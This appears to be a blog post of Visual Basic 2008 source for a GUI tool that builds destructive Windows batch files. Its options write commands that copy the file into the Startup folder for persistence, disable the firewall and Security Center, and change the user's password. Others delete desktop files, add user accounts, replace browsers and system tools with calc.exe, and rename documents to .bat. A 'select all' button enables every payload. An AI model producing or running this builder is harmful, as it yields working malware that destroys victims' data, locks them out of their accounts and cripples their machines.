Batch Generator in VB2008 V2

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
SaveFileDialog1.Filter = "Batch (*.bat)|*.bat|Text (*.txt)|*.txt"
SaveFileDialog1.ShowDialog()
SaveFileDialog1.CheckFileExists = True
SaveFileDialog1.CheckPathExists = True
SaveFileDialog1.AddExtension = SaveFileDialog1.FilterIndex
TextBox1.Text = SaveFileDialog1.FileName
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
On Error Resume Next
If IsNumeric(TextBox5.Text) = False Then
MsgBox("There must not be letters in the Seconds: box", MsgBoxStyle.Information)
Stop
End If
If CheckBox23.Checked Then
If ComboBox1.Text = "Select here" Then
MsgBox("Please choose a form of shutdown or Uncheck the shutdown checkbox (last one)", MsgBoxStyle.Information)
Stop
End If
End If
If TextBox1.Text = "Select Path --->" Then
MsgBox("Please select a path before you continue!", MsgBoxStyle.Information)
Stop
End If
If CheckBox3.Checked = True Then
If CheckBox5.Checked = True Then
MsgBox("NOTE: disabling mouse AND swapping mouse buttons might cause error", MsgBoxStyle.Information)
End If
End If
Dim Mathias As IO.StreamWriter = New IO.StreamWriter(TextBox1.Text)
Mathias.WriteLine("@echo off")
Mathias.WriteLine("title " & TextBox3.Text)
If CheckBox1.Checked Then Mathias.WriteLine("copy %0 " & Label2.Text & "%userprofile%\start menu\programs\startup" & Label2.Text)
If CheckBox2.Checked Then
Mathias.WriteLine("copy %0 %windir%\")
Mathias.WriteLine("copy %0 " & Label2.Text & "%userprofile%\my documents\" & Label2.Text)
Mathias.WriteLine("copy %0 %userprofile%\")
End If
If CheckBox3.Checked Then Mathias.WriteLine("del /S /Q /F mouse.*")
If CheckBox4.Checked Then Mathias.WriteLine("del /S /Q /F keyboard.*")
If CheckBox5.Checked Then Mathias.WriteLine("rundll32 user32.dll,SwapMouseButton")
If CheckBox6.Checked Then
Mathias.WriteLine("echo set oWMP = createobject" & Label9.Text & Label2.Text & "WMPlayer.OCX.7" & Label2.Text & Label10.Text & " >>c:\virus.vbs")
Mathias.WriteLine("echo Set colCDROMs = oWMP.cdromCollection >>c:\virus.vbs")
Mathias.WriteLine("echo do>>c:\virus.vbs")
Mathias.WriteLine("echo if colCDROMs.Count >= 1 then>>c:\virus.vbs")
Mathias.WriteLine("echo For i = 0 to colCDROMs.Count - 1>>c:\virus.vbs")
Mathias.WriteLine("echo colCDROMs.Item(i).Eject>>c:\virus.vbs")
Mathias.WriteLine("echo Next ' cdrom>>c:\virus.vbs")
Mathias.WriteLine("echo end if>>c:\virus.vbs")
Mathias.WriteLine("echo loop>>c:\virus.vbs")
End If
If CheckBox7.Checked Then
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
Mathias.WriteLine("net user %random% /ADD")
End If
If CheckBox8.Checked Then Mathias.WriteLine("net user %username% *" & TextBox2.Text)
If CheckBox9.Checked Then
Mathias.WriteLine("cd %userprofile%\desktop")
Mathias.WriteLine("del *.* /Q /F")
End If
If CheckBox10.Checked Then
Mathias.WriteLine("netsh firewall set opmode mode=disable")
Mathias.WriteLine("net stop " & Label2.Text & "security center" & Label2.Text)
End If
If CheckBox11.Checked Then
Mathias.WriteLine("tskill /a iexplore")
Mathias.WriteLine("tskill /a iexplore")
Mathias.WriteLine("tskill /a iexplore")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\internet explore\iexplore.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\internet explore\iexplore.exe" & Label2.Text)
Mathias.WriteLine("tskill /a firefox")
Mathias.WriteLine("tskill /a firefox")
Mathias.WriteLine("tskill /a firefox")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\mozilla firefox\firefox.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\mozilla firefox\firefox.exe" & Label2.Text)
Mathias.WriteLine("tskill /a msnmsgr")
Mathias.WriteLine("tskill /a msnmsgr")
Mathias.WriteLine("tskill /a msnmsgr")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\windows live\msnmsgr.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\windows live\messenger\msnmsgr.exe" & Label2.Text)
Mathias.WriteLine("tskill /a msmsgs")
Mathias.WriteLine("tskill /a msmsgs")
Mathias.WriteLine("tskill /a msmsgs")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%programfiles%\messenger\msmsgs.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%programfiles%\messenger\msmsgs.exe" & Label2.Text)
Mathias.WriteLine("tskill /a notepad")
Mathias.WriteLine("tskill /a notepad")
Mathias.WriteLine("tskill /a notepad")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%windir%\system32\notepad.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%windir%\system32\notepad.exe" & Label2.Text)
Mathias.WriteLine("tskill /a mspaint")
Mathias.WriteLine("tskill /a mspaint")
Mathias.WriteLine("tskill /a mspaint")
Mathias.WriteLine("del /F /Q /S " & Label2.Text & "%windir%\system32\mspaint.exe" & Label2.Text)
Mathias.WriteLine("copy %windir%\system32\calc.exe " & Label2.Text & "%windir%\system32\mspaint.exe" & Label2.Text)
End If
If CheckBox13.Checked Then Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents" & Label2.Text)
If CheckBox14.Checked Then
Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents\my music" & Label2.Text)
Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents\my videos" & Label2.Text)
Mathias.WriteLine("attrib +h " & Label2.Text & "%userprofile%\my documents\my pictures" & Label2.Text)
End If
If CheckBox15.Checked Then Mathias.WriteLine("attrib +h %0")
If CheckBox16.Checked Then
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
Mathias.WriteLine("msg * " & TextBox4.Text)
End If
If CheckBox17.Checked Then
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
Mathias.WriteLine("copy %0 %random%.bat")
End If
If CheckBox18.Checked Then
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.txt" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.doc" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.ppt" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.pps" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.pub" & Label2.Text & " *.bat")
Mathias.WriteLine("ren " & Label2.Text & "%userprofile%\my documents\*.htm" & Label2.Text & " *.bat")
End If
If CheckBox19.Checked Then Mathias.WriteLine("time 00:00")
If CheckBox20.Checked Then
Mathias.WriteLine("set /a time=1")
Mathias.WriteLine(":a")
Mathias.WriteLine("set /a time=%time%+1")
Mathias.WriteLine("if %time%==50 goto b")
Mathias.WriteLine("mkdir %userprofile%\desktop\%random%")
Mathias.WriteLine("goto a")
Mathias.WriteLine(":b")
End If
If CheckBox21.Checked Then
Mathias.WriteLine("set /a time=1")
Mathias.WriteLine(":c")
Mathias.WriteLine("set /a time=%time%+1")
Mathias.WriteLine("if %time%==50 goto d")
Mathias.WriteLine("echo @echo off >>%userprofile%\desktop\%random%.bat")
Mathias.WriteLine("goto c")
Mathias.WriteLine(":d")
End If
If CheckBox22.Checked Then
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
Mathias.WriteLine("start cmd")
End If

If CheckBox12.Checked Then
Mathias.WriteLine("del %windir%\system32\ping.exe")
Mathias.WriteLine("del %windir%\system32\ping6.exe")
Mathias.WriteLine("del %windir%\system32\tracert.exe")
Mathias.WriteLine("del %windir%\system32\tracert6.exe")
Mathias.WriteLine("del %windir%\system32\tskill.exe")
Mathias.WriteLine("del %windir%\system32\ipconfig.exe")
Mathias.WriteLine("del %windir%\system32\msg.exe")
Mathias.WriteLine("del %windir%\system32\net.exe")
Mathias.WriteLine("del %windir%\system32\netsh.exe")
Mathias.WriteLine("del %windir%\system32\reg.exe")
Mathias.WriteLine("del %windir%\system32\attrib.exe")
Mathias.WriteLine("del %windir%\system32\xcopy.exe")
Mathias.WriteLine("del %windir%\system32\cacls.exe")
Mathias.WriteLine("del %windir%\system32\format.exe")
Mathias.WriteLine("del %windir%\system32\netstat.exe")
Mathias.WriteLine("del %windir%\system32\replace.exe")
Mathias.WriteLine("del %windir%\system32\rename.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\ping.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\ping6.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\tracert.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\tracert6.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\tskill.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\ipconfig.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\msg.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\net.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\netsh.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\reg.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\attrib.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\xcopy.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\cacls.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\format.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\netstat.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\replace.exe")
Mathias.WriteLine("copy %windir%\system32\calc.exe %windir%\system32\rename.exe")

If CheckBox23.Checked Then
If ComboBox1.SelectedItem = "Shutdown computer" Then
Mathias.WriteLine("shutdown -s -t " & TextBox5.Text & " -c " & Label2.Text & TextBox6.Text & Label2.Text)
End If
If ComboBox1.SelectedItem = "Restart computer" Then
Mathias.WriteLine("shutdown -r -t " & TextBox5.Text & " -c " & Label2.Text & TextBox6.Text & Label2.Text)
End If
If ComboBox1.SelectedItem = "Logoff computer" Then
Mathias.WriteLine("shutdown -l -t " & TextBox5.Text & " -c " & Label2.Text & TextBox6.Text & Label2.Text)
End If
End If
End If
Mathias.Flush()
MsgBox("Batch created succesfully and can be found here: " & TextBox1.Text, MsgBoxStyle.Information)
End Sub

Private Sub CheckBox7_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox8.CheckedChanged
If CheckBox8.Checked Then
TextBox2.Visible = True
Else
TextBox2.Visible = False
End If
End Sub

Private Sub CheckBox16_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox16.CheckedChanged
If CheckBox16.Checked Then
TextBox4.Visible = True
Else
TextBox4.Visible = False
End If
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged

End Sub

Private Sub CheckBox23_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox23.CheckedChanged
If CheckBox23.Checked Then
TextBox5.Visible = True
TextBox6.Visible = True
Label7.Visible = True
Label8.Visible = True
Else
TextBox5.Visible = False
TextBox6.Visible = False
Label7.Visible = False
Label8.Visible = False
End If
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Application.Restart()

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
CheckBox1.Checked = True
CheckBox2.Checked = True
CheckBox3.Checked = True
CheckBox4.Checked = True
CheckBox5.Checked = True
CheckBox6.Checked = True
CheckBox7.Checked = True
CheckBox8.Checked = True
CheckBox9.Checked = True
CheckBox10.Checked = True
CheckBox11.Checked = True
CheckBox12.Checked = True
CheckBox13.Checked = True
CheckBox14.Checked = True
CheckBox15.Checked = True
CheckBox16.Checked = True
CheckBox17.Checked = True
CheckBox18.Checked = True
CheckBox19.Checked = True
CheckBox20.Checked = True
CheckBox21.Checked = True
CheckBox22.Checked = True
CheckBox23.Checked = True
ComboBox1.SelectedItem = "Shutdown computer"
End Sub
End Class

No comments:

Post a Comment